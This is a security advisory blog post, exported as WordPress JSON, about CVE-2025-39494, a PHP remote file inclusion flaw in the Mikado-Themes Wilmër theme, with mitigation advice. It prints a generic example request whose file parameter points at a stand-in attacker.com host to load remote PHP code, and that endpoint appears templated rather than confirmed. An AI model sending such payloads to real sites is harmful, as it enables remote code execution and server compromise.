{"id":48332,"date":"2025-06-03T03:59:35","date_gmt":"2025-06-03T03:59:35","guid":{"rendered":""},"modified":"2025-08-31T18:38:07","modified_gmt":"2025-09-01T00:38:07","slug":"cve-2025-39494-php-remote-file-inclusion-vulnerability-in-mikado-themes-wilmer","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-39494-php-remote-file-inclusion-vulnerability-in-mikado-themes-wilmer\/","title":{"rendered":"CVE-2025-39494: PHP Remote File Inclusion Vulnerability in Mikado-Themes Wilm\u00ebr<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The cybersecurity community has recently identified a significant vulnerability, CVE-2025-39494, within Mikado-Themes Wilm\u00ebr. This vulnerability presents a PHP Remote File Inclusion (RFI) threat, affecting a wide range of websites and applications that are built on this theme. PHP RFI is a critical issue as it allows an attacker to include remote<\/a> PHP files, enabling the execution of arbitrary code. This can potentially lead to system<\/a> compromise or data leakage, thus severely impacting the confidentiality, integrity, and availability of data and services.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-39494
\nSeverity: High (CVSS: 8.1)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Execution of arbitrary code, potential system compromise<\/a>, and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Mikado-Themes Wilm\u00ebr | All Versions<\/p>\n

How the Exploit Works<\/strong><\/p>\n

This vulnerability stems from an improper control of a filename<\/a> that is used in an include\/require statement in a PHP program. An attacker can manipulate these statements to include files from remote<\/a> servers. As a result, the attacker can execute arbitrary PHP code<\/a> on the server, leading to potential system compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

The following conceptual example demonstrates how an attacker might exploit<\/a> this vulnerability:<\/p>\n

GET \/vulnerable_page.php?file=http:\/\/attacker.com\/malicious_file.txt? HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n
In this example, the attacker uses a GET request to the vulnerable page and modifies the ‘file<\/a>‘ parameter to include a remote file from their server (`attacker.com`). The server would then fetch and execute the malicious PHP code from the remote<\/a> file.<\/p>\n
Mitigation and Prevention<\/strong><\/p>\n
To mitigate this vulnerability, vendors are advised to apply the latest patches or updates provided by Mikado-Themes for Wilm\u00ebr. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and block attempts to exploit this vulnerability<\/a>. Regular audits and code reviews can also prevent such vulnerabilities<\/a> from arising in the first place. It is also recommended to disable or restrict the use of PHP’s include\/require functions to prevent the inclusion of files<\/a> from remote servers.<\/p>\n","protected":false},"excerpt":{"rendered":"
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